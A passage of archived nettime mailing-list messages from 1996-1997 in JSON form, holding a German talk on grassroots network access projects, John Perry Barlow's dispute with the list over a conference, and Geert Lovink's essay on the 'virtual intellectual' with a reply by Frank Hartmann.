des 19. Jahrhunderts. Es ist \nalso eine industrielle Leistungsschau. Nicht nur - also da \nsind auch durchaus sozial engagierte Projekte vertreten, \naber vor allen Dingen geht es um Technologie, wenn ich das \nrichtig verstehe. Im Rahmen der Expo wuerde ich mir das \nangestrebte Projekt sehr gut vorstellen koennen. Ich \nmoechte diese access-for-all-Modelle, also Netzwerk-\nEntwicklung von unten, auch international praesentieren und \neine grosse Oeffentlichkeit dafuer gewinnen. Und dazu \nsollte es folgendes geben: Zunaechst einmal einen access-\nfor-all-File, also einen ersten Entwurf fuer einen \ntheoretischen, politischen Argumentationsstrang: Warum \naccess for all? Dann soll es eine Zusammenstellung von \nverschiedenen Projekten geben, die man unter dieses Dach \nfassen kann. Es geht nicht um eine neue Organisation oder \nsowas, sondern um die gesammelte Praesentation von \nProjekten, die zeigen, dass wir nicht auf die Telekom, \nnicht auf Burda und nicht auf Berlesconi und sonstjemanden \nangewiesen sind. Es geht darum, dass wir Netze selber \nmachen koennen. Ein besonderer Schwerpunkt liegt im \nHinblick auf die Gebuehrenerhoehung ab dem 1. Januar auf \nalternative Loesungen fuer den Local Loop, also fuer den \nletzten Kilometer bis zur Wohnung. Prenzlnet (->URL_5), \ngestern schon mehrfach angesprochen, soll ein Art Workshop-\nCharakter haben, wo die verschiedensten Loesungen von \nLasern bis zum Babyphon und Packet-Radio und so weiter \nausprobiert werden. Und am Schluss soll dabei eine Liste \nvon Starterkits herauskommen, die Projekte irgendwo auf dem \nLand... also Leute, die vielleicht auch nicht in solchen \nZusammenhaengen sind, aber trotzdem das an ihrem Ort machen \nwollen, beigehen koennen und sich sehr konkrete \nInformationen holen. Bis hin zu Bestellinformationen - wo \nkriegt man irgendwelche Lasertechnologie moeglichst billig \nzum Beispiel. Aber auch ueber Organisationsmodelle, \nFinanzierungsmodelle und so weiter muss man natuerlich \nnachdenken. Ebenso ueber Software, die bestimmte Gruppen \nentwickelt haben und die sie bereit sind, mit anderen zu \nteilen. Die Gemeinschaften, die da jeweils entstanden sind, \nsollten beschrieben werden. Das Ganze soll dann auf der \nNext 5 Minutes-Konferenz (->URL_6) praesentiert werden. Bis \ndahin ist das Projekt natuerlich noch nicht fertig. Es wird \naber auch nie fertig werden, sondern es soll nur der erste \nKristallisationskern sein, der eine moeglichst grosse \nBandbreite von organisatorischen und technischen Modellen \nvorstellt. Zum Beispiel die Digitale Stad (->URL_7), die \nInternationale Stadt (->URL_8), das Zamir-Net in Ex-\nJugoslawien (->URL_9), Bulletin-Board-Systeme (->URL_10) \nund so weiter. Und im Laufe des naechsten Jahres, die Expo \nlaeuft das ganze Jahr 1996, kann das dann Werkstatt-\nCharakter bekommen, auch die Website. Ueber diesen FAQ-File \nsoll nach Moeglichkeit die Diskussion weiterlaufen und es \nsollen weitere Projekte angeregt werden, die dann im Laufe \ndes naechsten Jahres entstehen und damit aufgenommen \nwerden.\n\n[Zwischenfragen zur Expo, mit der Bitte, diese genauer zu \neroertern.]\n \n/Volker Grassmuck/\nAlso Industrieschau ist auch ein bisschen zynisch \nformuliert. Ganz so schlimm ist es nicht. Ist Carl Malamud \nein Begriff? Der hat angefangen mit Internet-Talk-Radio, \nalso erstmals Broadcast im Internet, dann freie Programme, \nInterviews mit irgendwelchen Internet-Figuren, so \ntechnische Sachen. Er ist halt ein Hacker, Techno-Hacker. \nDann hat er ein Buch ueber ueber Internet-Traveller \ngeschrieben, war in Japan, Thailand, Schweiz. Ein sehr \naktiver Mensch aus der Techno-Szene. Industrie ist insofern \nnicht ganz richtig. Aber die Veranstalter der Expo haben \nKanaele zu den ganz Grossen. Es wird eine T3-Backbone-\nLeitung entstehen von San Francisco nach Washington, nach \nAmsterdam und nach Tokio. Das Stueck innerhalb der USA und \nnach Japan scheint schon zu stehen. Das wird von MCI bereit \ngestellt, das sind keine Hacker mehr. Aber so eine \nBackbone-Leitung zu legen ist auch fuer Hacker nicht so \nganz einfach. Und ansonsten ist die Internet-Expo total \noffen. Im Prinzip kann jeder dort Pavillons anmelden und \nevents machen. Zusaetzlich soll es auch darum gehen, \nausserhalb der Netze Zugangspunkte bereit zu stellen. Und \ndieses ist auch als Problem erkannt worden. Und da spielt \ndurchaus auch access-for-all, also oeffentliche, kostenlos \nbenutzbare Terminals, als Idee eine Rolle. Der Rahmen ist \nmir eigentlich nur wichtig, weil er fuer Oeffentlichkeit \nsorgen wird. Es ist ganz merkwuerdig, in Deutschland ist \ndie Expo ueberhaupt kein Thema. In Japan, in Thailand, in \nden USA ist sie das Thema ueberhaupt. Alle Leute, die \nirgendwas mit dem Internet zu tun haben, sind wie wahnsinng \ndabei, Pavillions fuers naechste Jahr zu bauen. \n\n[Zwischenfragen. Es wird geklaert, dass die Expo-Pavillions \nvirtuelle Pavillions, also Websites sind. Volker Grassmuck \nweist noch darauf hin, dass im Rahmen seines Projektes \ninhaltliche Kriterien, Unterscheidungskriterien entwickelt \nwerden sollen, nach denen man Projekte beurteilen kann. \nDaraufhin bitten die Veranstalter Tilmann Baumgaertel ueber \naktuelle Vorgaenge bei Compuserve zu berichten.] \n\n/Tilmann Baumgaertel/\nBei Compuserve gibt es eigentlich kein Forum, wo die Nutzer \nin irgendeiner Form auf das Unternehmen einwirken koennen, \nFragen stellen koennen. Deswegen hat sich \ninteressanterweise in den letzten Monaten das Hilfeforum \nveraendert, das eigentlich so ein Support-Forum ist, wo man \ntechnische Fragen stellen kann, zum Beispiel wie kriege ich \nmeine User-ID, wie kann ich mein Passwort aendern und so \nweiter. Da ist in den letzten Monaten eine Diskussion \naufgekommen, die recht grundsaetzliche Fragen stellt, wie \nbeispielsweise: In welcher Form muessen Sysops ihre \n",
                        "id": "00028",
                        "date": "Thu, 11 Jan 1996 00:45:45 +0100 (MEZ)",
                        "to": "nettime {AT} is.in-berlin.de",
                        "message-id": "9601102345.AA28039 {AT} hrz&#45;serv7.hrz.uni&#45;kassel.",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9601/msg00028.html",
                        "content-type": "text/plai",
                        "author_name": "Herbert A. Meyer",
                        "subject": "ZKP - interfiction"
                    }
                ],
                "message-id": "9601102342.AA121195 {AT} hrz&#45;serv7.hrz.uni&#45;kassel.",
                "date": "Thu, 11 Jan 1996 00:42:26 +0100 (MEZ)",
                "content-type": "text/plai"
            },
            {
                "id": "00048",
                "content": "\nAt 11:57 PM 1/5/96, Pit Schultz wrote:\n>Hello John Perry,\n>\n>well i just heard that you will come to the n5m conf. and i\n>also heard that you are a bit pissed off, you're not the\n>only one and the problem is that anyone is thinking that\n>this will be a normal conf.\n\nI am more than a bit pissed off. Since I was going to be in the vicinity\nanyway, I offered to participate in the conference on several occasions,\nwhether on a panel or taking tickets at the door.\n\nAnd I never got any sort of response from anyone until yesterday when Geert\ntold me, essentially, that everyone had heard what I had to say in Budapest\nand at Doors last year and that he couldn't see paying my way over. (Which\nas I say, I had not asked for since I was going to be there anyway.) He\nalso said I was perfectly welcome to come and sit in the audience.\n\nAll of which might not be so irritating were it not for the fact that you\nhave as conference topics a number of areas such as censorship and\ncopyright where I have a great deal more recent, non-theoretical, in the\ntrenches, experience than those who are discussing them.\n\nFurther, most of what I have read in the nettime mail-list so far consists\nof scathing criticism of neo-hippie American Wired culture, which is to say\n*my* culture, including many charges which I would have loved an\nopportunity to confront face to face rather than text to text. But I am not\nbeing given that opportunity except as a member of the audience or as\nanother poster to a newsgroup.\n\nSo, if what you folks really want is an opportunity to slander us in the\nprivacy of our own circular academic viewpoints, I'll make no further\neffort to engage you personally in debate.\n\nYrs,\n\nJohn Perry\n\n\n\n\n****************************************************************\nJohn Perry Barlow, Cognitive Dissident\nCo-Founder, Electronic Frontier Foundation\n\nHome(stead) Page: http://www.eff.org/~barlow\n\nMessage Service: 800/634-3542\n\nBarlow in Meatspace Today: Pinedale, Wyoming\n\nComing soon to: San Francisco 1/8-9, Pinedale 1/10-17, Amsterdam 1/18-19,\nBudapest 1/20-23, Palm Springs 1/24-26, Minneapolis 1/27-28, Chicago 1/29,\nNew York 1/29-31, Davos, Switzerland 2/1-4\n\nIn Memoriam, Dr. Cynthia Horner and Jerry Garcia\n\n*****************************************************************\n\n\"Everyone has the right to freedom of opinion and expression: this right\nincludes freedom to hold opinions without interference and to seek, receive\nand impart information and ideas through any media and regardless of\nfrontiers.\"\n\n                  --Article 19, U.N. Universal Declaration of Human Rights\n\n\n\n\n\n",
                "to": "Pit Schultz <pit {AT} is.in-berlin.de>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9601/msg00048.html",
                "list": "nettime_l",
                "author_name": "John Perry Barlow",
                "subject": "Re: ZKP ?",
                "from": "John Perry Barlow <barlow {AT} eff.org>",
                "follow-up": [
                    {
                        "from": "Pit Schultz <pit {AT} is.in-berlin.de>",
                        "content": "\nHello John Perry, \n\n>>more than pissed off\nwell it took a while, again.. first: i cannot say much to the n5m organisation\nbut that it is just singular and very chaotic. you, as a worldwide net\nauthority, could use the chance to enter this indended taz as everybody else\n(not persona non grata but maybe incognito) and just discuss and have fun\nlike the rest of us.\n\n>>scathing criticism of neo-hippie American Wired culture, which is to say\n>>*my* culture,\ni have a certain respect on what was invented 1968/69 like Unix and Internet,\nanti-autoritarian movement, sex-pol, drug cultura and business, and sure, rock\nmusic but well it's a little clumsy today and therefore people work on\n'interfaces' or 'gateways' like to the past (Jefferson) or to the right wing\nhardcore liberals (News Ginrich and PFF) or just to embed it in a diffuse,\nflexible and cynical ideology production like Wired Magazine (out of control)\nThe biology metaphor and naturalisation of Cyberspace which seems to become\none of the consesus over there, comes together with 1. formations of\nbiotechnolgical power(an own thread, but also a question of copyright and\nthe info-war-paradism) and a new pax americana, spread out with the\nstandards of the Internetisation of the world, and the reactivation of\nAmerican Myths which are bound to their own historical lies. \n>copyright\nA property model based on territorial myth or natural right is always based\non the mythification of blood, and a tendency to repeat a violent history. \nI see also the central question of information property which leads in my\nview to the question of who has the right to play with the money (and\ncontrol private police forces). This project seems to aim at a fusion of the\nsphere of the stockmarkets with the lower levels of production to a new kind\nof unbound circulation, the orgasmic free spirit of capitalism. (virtual\nclass, third wave, happy few) I heavily doubt if evolution won't spit out such\na monster, as we look onto ecological and political problems. I havn't been\non that gaya-trip yet to see 'the future and it works' and will also resist\nto apocalyptic pathos. These arguments seems all a bit overheated, but i\nagree with you that with the electronic frontier we are facing 'new' social\nand geopolitical conflict lines.\nFirst, i guess, between the in- and excluded and according to it,\nestablishing 'new' military paradigms. Simply asked: when there will fly the\nfirst cruise missiles on illegal web servers and pirate cd-rom factories??\nWhen one will use\nVR/C3I controled non-lethal weapons for conflict zones?\nDo those conflicts has to get provoked to show the existing power structures?\n\nYou should accept the emmergence of a 'net criticism' and see it as a part of\nyour model, that information wants to live (and therefore has to kill some\nother information?) And it certainly it makes a difference if everything\nbecomes perfect or something went damned wrong. (like the stock quotes of\nnetsape, thats\njust madly risky) Responsible are partly you surfers of the 'third wave',\nit's obvious that we can't he ecstatic any more to plug in our electrical\nmachines or cum together in a net.orgasm. There is a thin line when\ntechnology can get just another state-religion, in this moment i decide to\nswitch my streams of desire and become heretic.\n\nnettime is more than a medium to make money with the net backlash, \nit's more than a jerk off sex toy for a sick mind fuck. 'we' , as a kind of\neuropean tribal and dissident collective subjectiviy, want to have the right\nto see cyberspace in our own way but are certainly open for a discussion and\nargument as long as worse conflicts are avoideable through it, and we should be\nall keep ourselves open to learn in times of such 'rapid changes'. Are we\nhaving fun yet?\n\nViele Gruesse aus Berlin\n-pit\n\nps: you are still invited to write something for nettime, even an\nanti.manifesto or doing an interview with us, can be on e-mail.\n    maybe after n5m..\n\n\n\n\n",
                        "id": "00047",
                        "date": "Tue, 9 Jan 96 01:32 MET",
                        "to": "dia {AT} szocio.tgi.bme.hu",
                        "message-id": "m0tZRzb&#45;00009eC {AT} contrib.",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9601/msg00047.html",
                        "content-type": "text/plai",
                        "author_name": "Pit Schultz",
                        "subject": "Re: ZKP ?"
                    }
                ],
                "message-id": "v02120d00ad13a1cc78f7 {AT} [206.15.64.73]",
                "date": "Fri, 5 Jan 1996 21:29:39 -0700",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00065",
                "content": "\nPortrait of the virtual intellectual\nOn the design of the public cybersphere\n\nBy Geert Lovink\n\nLecture at 100 days program of Documenta X Kassel, July 13, 1997\n\nMuch has been said here about the changing role of the artist,\nthe designer and the architect (for example, from Rem Koolhaas) in the\nage of cybertechnologies. Clearly, aesthetical professions are undergoing\nprofound changes. However, little has been heard in this context of the\nintellectual. Are intellectuals condemning themselves to manage the\nvanishing Gutenberg galaxy? Is the whole idea of the intellectual\ndisappearing altogether, as Russell Jacoby's book 'The Last\nIntellectual' suggests? Most writers and researchers are by now\nfamiliar with the computer as a tool, but this says nothing\nof the theoretical concepts they may harbour around the internet,\nmultimedia, or hypertext. It is a fashion amongst intellectuals\nto be sceptical about the so-called 'digital revolution' (who can take\nthose ugly screens seriously anyway?) One perceives a silent wish that\nwith the fading away of the cyber-crazes and net hypes, the technologies\nthemselves will also somehow disappear.\n\nA new distinction between highbrow and lowbrow seems to be in the\nmaking. While the 'true devotees' of culture apply themselves to books,\nopera and painting, the grey, uncivilised classes are to be kept busy\nwith primitive and juvenile 'new' media. The lonely crowds are lured into\na state of permanent numbness, resulting in dazed and confused packs of \ncouch potatoes sitting it out in ever lasting zapping-, clicking-,\nchatting- and surfing-sessions. Digitisation takes command: electronic\nsolitude creates a Cybernetic Waste Land. Included here is a new\naristocracy harbouring a deep hatred towards the on-line masses. To\nrephrase John Carey: \"The crowd has taken possession of media which were\ncreated by civilisation for the best people\". The fooling around with\nimmature, 'beta' media stands in sharp contrast with the \"sensual\nperception of the wholeness of the artwork\". The elitist, usually\ngovernment subsidised/state sanctioned and exportable forms of expressions\nare slipping into open warfare with vulgar and commercial cyberculture.\nEven to-day, very few intellectuals are prepared to take the digital media\nseriously. While photography, film and video are now accepted art forms,\nthe hyper-commercial, constantly changing software landscape still lacks\nsubstantive intellectual and cultural critique. This is the case even\nwithin so called 'art and technology' circles, where many established\ntheorists seem to suffer from techno-ennui. Into this field one can either\nbecome like a visionary salesperson or assume the role of moaning defender\nof established art values.\n\n\"Paris, where are you, now that we need you?\"  Who will finally manage\nto initiate Paul Virilio so that he will give us a more precise, nay, a\nmore radical, interpretation of the social impacts of the new\ntechnologies? Who will critique the neo-liberal\ncyberhallucinations of Pierre Levy and his 'collective intelligence'?\nWho will finally stop Baudrillard's tragic complaints? Paris -- once the\nintellectual capital of the world -- seems to have fallen prey to\nmoralistic debates about the 'most favourite victim status' (as in the\ncase of Bosnia). Here we are seeing most clearly what the current crisis\nof the intellectual is about. The production of attractive role models\ngot us nowhere. The cultural climate has gone into the defensive mode.\nThe growing anxiety is fluid and can take many forms: sometimes\nxenophobic, sometimes against the European Union, or just against the\nState in general. Both the emotional and the rational calls for\npolitical engagement are melting away, just like all other information.\nThe intellectual as TV personality (for example, Bernard-Henry Levy)\nseems to be part of the problem, rather than part of the solution. The\nneed for spokespeople and experts, producing opinions on a day-to-day\nbasis has become an integral part of the current Society of the\nSpectacle. But the intellectual of the Media Age should not by\ndefinition be identical to the figure of the media personality. What\nParis of the nineties (as an example) is showing us is the urgent need\nof 'media literacy': intellectuals who are aware of their real position\nwithin the rapidly expanding media landscapes.\n\nThis is partly a generation problem. The generation of the\nsixties (known in France as \"les quadras\"), equipped with the Gramscian\npolitical definition of the 'organic intellectual' closely tied to the\nParty and social movements, is now at the height of its power. It has\nconquered all possible positions and marched into all possible\ninstitutions. But there is no one leading anymore. Policy implementation\nhas replaced avantgardism. The Leninist question: SHTO DYALATSH?\" (What\nis to be done) nowadays lacks both subject and object. The 68-generation\nhave become parents, worried by the senseless escapism of their\nchildren. Autonomous subcultures (like the 'travellers' in the UK and\nGermany), though thriving, have become far less visible even when they\nare not reeling under severe state repression. The remaining political\ngroups seem to have locked themselves in antagonism towards each other\nand lack the hedonistic, seductive aspects of the rave and drugs\nculture. Protests against the Euro-policies at the Amsterdam-summit of\nJune 1997, however effective, also illustrated the current crisis in\noppositional culture: marches were held both against unemployment and in\nfavor of a jobless way of life.  New issues of protest, voiced by\nstreet-ravers, soft-drugs users and art-porn enthusiasts were unable to\nconnect with the 'traditional' forms of contestation of the established\n(new) order.\n\nBack to the intellectual. Take for example Eduard Said, who still sticks\nto the old, well known definition of the intellectual. In his 1993 Reith\nLectures, 'Representations of the Intellectuals' he insisted that the\nintellectual is \"an individual with a specific public role in society\nthat cannot be reduced to being a faceless professional\". Said warns of\nthe dangers of specialisation and professionalism and instead favours an\namateurism which is \"speaking truth to power\". Against specific\nknowledge, Said highlights general concern. The intellectual should be\nendowed with \"a faculty for representing, embodying, and articulating a\nmessage to, as well as for, a public\". Arguing against rigid\nsociological class definitions, which define intellectuals solely\nthrough their profession, Said turns them into moral agents, defined by\ntheir attitude\". The intellectual belongs on the same side with the\n\"weak and unrepresented\". This requires a \"constant alertness\" and\n\"steady realism\".\n\nThis sounds touching and noble, and Said is right when he is\nstressing that the intellectual and the public are inextricably\nintertwined. What is missing here is an analysis of the dramatic\nchanges of the public sphere itself. Some cultural pessimists have\nstated that the public itself has already vanished altogether. The daily\nreality is that the so-called public domain in the urban realm (for\nexample, streets, squares and parks) is under permanent surveillance and\ncontrol. More and more of it being privatised. This holds not only true in\nreal, but also in 'virtual', electronic space.\n\nThe essay 'Electronic Civil Disobedience', from American group\nCritical Art Ensemble (CAE) states that, as far as power is concerned,\nthe streets are dead capital. Even though the brick monuments of power\nstill stand, the agency that maintains dominance is neither visible nor\nstable. According to CAE, the only groups that will successfully\nconfront this new form of power are \"those that locate the arena of\ncontestation in cyberspace\". The methods of civil disobedience, like\npicket lines, demonstrations and petitions are largely ineffective and\nempty rituals. With neither spite nor disdain towards the remaining\ntraditional attempts to question the current world system of global\ncapitalism, it should be stated, in public, and as clearly as possible,\nthat \"contemporary activism has had very little impact on military and\ncorporate policy\".\n\nThe same could be said of the intellectual that is still living in the\npaper world. The days of Foucault's discursive power are over. The\nsystem without alternative does not need the magical power of words\nanymore in order to rule. It is this sense that we are actually\nwitnessing the much-vaunted 'End of Ideology'. The realm of 'ideas' as\nsuch is not dangerous or subversive anymore. Ideology has migrated into\nother spheres. It morphed itself into software, e-cash, and data.\nRationality successfully besieged religions and all other metaphysical\nexpressions and turned them into pure, cold functionalities. The return\nof fundamentalisms, nationalisms, regionalisms, etc. is not a serious\nthreat to the New World Order. Benjamin Barber's endless variations on\nthe dialectics between 'McWorld' and 'Jihad' are only expressing \ntemporary, and very marginal, conflicts. These conflicts may be bloody\nand affect the lives of millions of people, but the current catastrophe\nzones don't make any impact on the Capitalist Condition. A Black Monday on\nWall Street might. The war in Bosnia has not disrupted Western\neconomies, though it proved nearly fatal to Bosnia.  This time for sure\nSarajevo won't throw us into a world war again. That's it.\n\nAlain Finkelkraut's 'Ode to the Croatian State', Bernard-Henry Levy's\nuse of the Siege of Sarajevo as a stage for his media appearances, or\nPeter Handke's late and profoundly touristic discovery of the Serbian\ncountryside all marked the end of the intellectual as a public\nfigure with any significant impact. The cynical competition for the\n'most favourite victim status' amongst the different ethnic groups made\nall known methods of outrage and engagement irrelevant overnight. Unlike\nthe days of the Vietnam War, it has become more and more difficult to\nchoose sides. This again is drawing us deeper into a status of passive\nconsumers, bored by the overkill of undistinguishable strains of\ninfotainment. Intellectuals who are only expressing opinions, in the\nbelief that the media-industry (particularly television) still\nproduces common sense content which shapes public opinion, should\nsimply desist -- they should boycott all talkshows and instead engage in\nfundamental research on the 'state of the media'.\n\nSamuel Huntington, with his 'clash of civilisations', overstresses the\nrole of culture within today's global capitalism. This reflects, in my\nopinion, wishful thinking about the return of the old style\nintellectual (or priest) who will have the last say in entire\nsocieties. Their will to power is of a highly resentful nature. These\nconservatives are defending a model of the West which no longer\nexists. The 'clashes' they are predicting might in fact take place in\nsome decades, when, for example, China will have reached the level of the\nWestern economic powers. Within the current situation, we can only\ninterpret these scenarios as a collective, deeply nostalgic re-hash\nof ideological, cold war-like conflicts that will not come back.\n\nIn fact, the intellectual as opinion leader is slowly losing ground.\nWhat we see is the rise of the VI, the Virtual Intellectual. These\nknowledge workers are thoroughly familiar with the 'virtual condition'.\nThey have also come to terms with the declining power of book culture\nand the public sphere as we have known it. Before we try to\noutline the shape and task of this upcoming social category, it might be\nuseful to make a distinction between what I call 'Theory Fiction', and\nthe description of a new sociological phenomena.\n\nIn 'Theory Fiction' terms, the virtual intellectual might very well be\nan 'Unidentified Theoretical Object', a UTO, like the ones we described\nin Adilkno's Media Archive. We could then compare the VI with categories\nsuch as the data dandy, or the human body as 'wetware'. Just as the\ncyberpunk, or the Generation X slacker, or the computer-nerd, the VI\nmight even leave the realm of literature or theory and enter popular\nculture in order to vanish again after a while. The power of the VI is a\npotential one: s/he might turn up as a virtual creature, but could as well\nremain elusive and never leave the conceptual, beta stage.\n\nWe need to examine the context of the emerging VI -- the relationship\nbetween the computer-literate intellectual and the hard- and software\nindustry. Arthur Kroker and Michael Weinstein did so in their remarkable\ndescription of the 'virtual class' in their book 'Data Trash' (1994).\nThis emerging class, with its own 'Wired' ideology, might also have its\nown 'organic' intellectuals. However our VI is more than just a\nspokesperson for the new media industry and the battalions of 'digital\nartisans' infeodated to it.\n\nThe playful, ironic, and imaginary categories and the critical\nsocio-political analysis of new class formations are two different ways\nof theory production. In my lecture 'From Speculative Media Theory\ntowards Net Criticism' I contextualized both by putting them in a\npersonal, and at the same time historical, perspective. Here I just want\nto point out that the virtual intellectual has elements of both: a will\nto design, to construct the public part of cyberspace, to be 'radically\nmodern', combined with the ability to reflect and criticise the (new)\nmedia from all possible perspectives. In both cases it is important to\novercome the widespread resentments, cynicism and elitism such a\nposition attracts on the one hand, and over-hyped salestalk on the\nother. This implies that all forms of technological determinism should\nbe condemned.\n\nWhat is it that makes this type of intellectual 'virtual'? Like all\nearlier professions that are now migrating into cyberspace, these new\nfigures will be constituted through their specific mixture of local and\nglobal cultures, digitised and non-digitised source material, real and\nscreen-only experiences. The VI is conscious of the limitations of\ntoday's texts, without at the same time becoming a servant of the\n'empire of images'. Since s/he has been educated in the heritage of the\ntext, the VI now will now be confronted by the problem of the\nvisualisation of ideas. Text-only systems can no longer be auto-poetic.\nThe self-referential tendency of all singular media needs to be\ncorrected and expanded with crosslinks to imagery, audio files and\nhyper-links -- all embedded in on-line databases. Virtual here also means\nopen, ever changing, in constant contact with other e-writers (and\nreaders), no longer focussed on the closed, hermetic Magnus Opus that\ndefined the  'Age of the Author'.  So, on the whole, we may state that\nthe nature of virtual intellectual a technical one. Unlike its\npredecessors, s/he is no longer defined through the relation to the\npolitical sphere in a classical sense. The 'public sphere' itself will\nmore and more be a product of technical media and lead a true virtual\nlife of its own, no longer connected to places like the coffeehouse, the\nsalon, the boulevard or even the more abstract realm of the newspaper\nand television discourse. The global capitalist \"(wo)man of e-letters\"\nis part of the on-line masses, but does not feel a need to speak on\nbehalf of the internet or some virtual community. The VI also lacks any\nsentimental drive to represent unprivileged off-line groups. The\ngoal of the democratisation of the media should be the elimination of\nall forms of mediated representation. We now have the possibility to let\npeople speak for themselves, even if they have little or no bandwidth.\nPublic access to a variety of communication tools and the world-wide\nsupport of independent, tactical media might ultimately make the\npolitical intellectual redundant.\n\nThus, the virtual intellectual should be located in the sphere of the\nnegative. Even in the pragmatic work of programming, designing\ninterfaces or the planning of network architecture, the negative should\nbe our starting point. The main threat to a critical praxis nowadays\ncomes from the positive, 'humanistic' intentions, or what Calin Dan\nthe 'dictatorship of good will'. Intellectuals might not so easily\ncommit 'treason' again (Julian Benda, 'The Treason of the Intellectuals'\n, 1927) and might not again be attracted so easily by totalitarian\nideologies. But will they be able to resist the current free-market way\nof thinking, Ignacio Ramonet's now famous \"One Idea System\"? The\nmajority of the knowledge workers are no longer employees of the State,\nnor are they be members of the Party. Today's danger is lying in the\ngrowing sector of the NGOs and their anti-intellectual pragmatism in the\nname of the Good, locked in a unholy alliance with the real-time mass\nmedia.\n\nOur answer to this will be a gay data nihilism, joyous forms of\nnegativism: resisting all reductive and essentialist strategies,\nconnecting all streams of data from either side of the old and new\nmedia, in both real and virtual spaces. Media freedom in this context\nmeans leaving the whole media question behind us. It means mixing and\nsampling the local and the global while flying through our own,\nselfmade and hybrid data landscapes. And they, just as we, will always\nremain under construction.\n\n(edited by Patrice Riemens and Linda Wallace)\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sun, 20 Jul 1997 16:53:20 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707201453.QAA01139 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00065.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Portrait of the virtual intellectual"
            },
            {
                "content-type": "text/plai",
                "from": "Hank Hartmann <hartmann {AT} fsf.adis.at>",
                "id": "00075",
                "content": "\nRe: <nettime> Geert Lovink's portrait of the Virtual Intellectual\n\n\nGeert, with his (as always exiting) piece on the virtual intellectual,\ngave us a a sum up of the ideas and essays he (and Pit) prepublished on\nnettime and recently got printed here and there, whenever a critical\nvoice was needed by some clueless publisher. A summons for\nnet-criticism, an interim report on net-criticism, adnotes to\nnet-criticism, net-criticism as a work-in-progress for true. It makes me\nwonder where net-criticism really takes place and what its agenda really\nis, aside from stressful conference tourism. \n\nBut now net-criticism finally arrived at its terminal, the definition of\nits true actor, the \"virtual intellectual\". It certainly highlights a\nsituation, especially when relating to the aesthetic and moral wholeness\nsome elitist intellectuals (the classic mediators) are anxious to save. \nAnd at the same time this text seems to unwillingly fall back into the\nold quarrel over the best position within the field - a very common\nmanifestation of the classic intellectual. \n\nCritique seems to have lost its object, while stressing the descriptive\nqualities of what is going on beyond the old intellectual task of\nmanaging the Gutenberg-galaxy. Is this truly the end of critique?\nInformation negation as the true core of post-enlightenment: its claim\nis to lead us out of Gate's software cave, and into the authentic light\nand warmth of \"joyous negativism\" of gay data nihilism. Now this sounds\nto me a lot like alternatively living that gesture of \"data dandyism\"\nformerly criticized by the ADILKNO-crew. Economy, history, ideology and\nideas seem no longer to exist for the net-intellectual. It is another\naesthetisation of the intellectual, thus not so far from the position\njust overcome, or simply just another strategy to survive in the swamp\nof the post-massmedia discourse. I also take it not as a coincidence\nthat after the introduction of the term \"virtual intellectual\", the grey\neminence of net-critique, Arthur Kroker, is presented once more like the\nhare out of the magician's hat.\n\nAnother observation. The quest for \"theory fiction\" strongly reminds me\nof Richard Rorty's attempt to save philosophy by \"edifying discourse\",\nand even more of Umberto Eco, who first published his \"Apocalittici e\nintegrati\" in 1964 as a critique of the dualistic cultural critique. Eco\nnot only recommended the intellectual to immerse in mass culture and\nmedia, he also did a nice job in producing a theory fiction which made\nit to the bestsellers-list.\n\nSo: d'accord with the general problem Geert presents, but with the\nreservation that coining another term (like the virtual intellectual)\ndoes not lead the way out of this logic of decline fostered by so many\ntraditional intellectuals. Wasn't it Vil\u00e9m Flusser who, for the\nintellectual of the future, imagined a conceptual suicide of sorts, as\nthe disintegration of objects and their subjects already became an\neverday experience against which our culture holds up so many fictitious\nbelief systems (much underestimated in this context: one of his last\nwritings with the programmatic title \"Vom Subjekt zum Projekt\"). The job\nis not finished yet.\n\n\n~Frank Hartmann\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Wed, 23 Jul 1997 08:08:00 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "33D59FC0.22A0 {AT} fsf.adis.at",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00075.html",
                "list": "nettime_l",
                "author_name": "Frank Hartmann",
                "subject": "<nettime> Last exit to net-criticism?"
            },
            {
                "content-type": "text/plai",
                "from": "Pit Schultz <pit {AT} contrib.de>",
                "id": "00023",
                "content": "\nDear Nettimers, \n\ntime to say something. \nfirst, sorry for all the inconveniences and boredom, sorry also\nfor not having changed the situation when it became 'unfocused'.\nappologizes for the hyper-national mail bombs, i think it was all \nworth of it. in parts a meaningful accident, in other parts product\nof a crisis in the electronic wish economy, and well, the list is \n*open* now, ready for your thoughtful contributions, and also for\nall kinds of notes from a material world.\nplease do not forget that nettime is not a service, it is not a\ntext tv, it is no boat, ad i am not it's director. instead you \ndefine what it is. it's nothing but the sum of our trials.\n\nmapping the shift\nwhat has happened? a turnover, a transformation, the escape from\nvirtuality, the web as a bad love affair, new networks of distrust,\nnet art as feudalistic rescue zone, the massified boredom of techno-lust,\nthe breakdown of electronic imagination, net critique\nas the official version, the disability of virtual capitalism\nto reach the zero-degree of superconductive desire and the absolute\nspeed of light age, all kinds of spies vs spies, false priests, \ndying travelling salemen, the sellout of potlatsch, a ghost city after\ndigital gold rush?\nbut it's one thing to make lists of keywords, another to find\na subjective voice again, which maps the shift from different \nperspectives. that's what i hope we can do on nettime for the \nnext weeks.  \n\n* \nlet's take a look into the current prawda of the net. did you recognize\nsomething? web-whipeout, dissing the beehive thinkers, netizen against\nrepublicains info-economy, sucksters on usesless webcults, a new \nlo-tech mailinglist. there never occured such an obvious transformation in\nthe central organ of net discourse. so does net critique won and \nbecomes the official version of networked truth 